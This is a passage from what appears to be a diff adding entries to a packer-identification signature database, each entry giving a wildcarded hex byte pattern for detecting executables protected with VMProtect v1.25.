?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E0 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 8D 76 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 EE FC 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 45 00 66 8B 55 04 83 C5 06 66 36 89 10 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 C6 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 C6 04 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 45 00 8A 4D 02 83 ED 02 D2 E8 66 89 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 EE FC E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 89 45 00 83 C6 04 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 06 83 ED 04 83 EE FC 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 5A 58 5E 5D 5B 5B 9D 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 8D 76 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 8B 45 00 83 C5 02 66 8B 00 66 89 45 00 E9 A5 06 00 00 8B 45 00 66 8B 55 04 83 C5 06 66 89 10 E9 +ep_only = false + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 46 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 46 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 EE FE 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 83 C6 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 C6 02 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 8D 76 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 EE FE E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 ED 04 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 EE FE 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 83 C6 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 C6 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 8D 76 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 EE FE 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 83 ED 02 8D 76 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 83 EE FE 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 55 00 83 C5 04 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 80 E0 3C 8B 14 07 83 ED 04 89 55 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5F 58 5A 9D 5D 5E 5E 5B C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 58 59 5E 5B 5F 5B 9D 58 5D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 45 00 83 ED 02 66 01 45 04 9C 8F 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 8B 06 98 8D 76 02 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 EE FE 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 C6 02 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 C6 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 EE FE 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 83 C6 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 8D 76 02 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 8D 76 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 98 83 ED 04 89 45 00 83 EE FE E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 EE FE 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 83 C6 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 66 89 45 00 8D 76 02 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 8D 76 02 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 EE FE 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 0F B7 06 83 ED 02 8D 76 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 83 C6 01 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 ED 02 66 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8D 76 01 66 8B 55 00 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 8A 04 07 46 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 46 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F B6 06 66 98 46 98 83 ED 04 89 45 00 E9 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5A 5D 5F 5B 5A 59 9D C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5E 5B 9D 58 5B 59 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5D 5F 5A 5E 5D 5B 58 9D 59 C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 5F 5B 5D 58 5A 9D 5E C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 59 58 5F 5D 58 5B 9D 5A C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5E 58 5F 5D 5B 5A 59 9D 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 59 5A 58 9D 5D 5B 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 89 EC 59 5B 5E 58 5D 5F 9D 5A 59 5F C3 +ep_only = true + +[* VMProtect v1.25 --> PolyTech] +signature = 68 ?? ?? ?? ?? 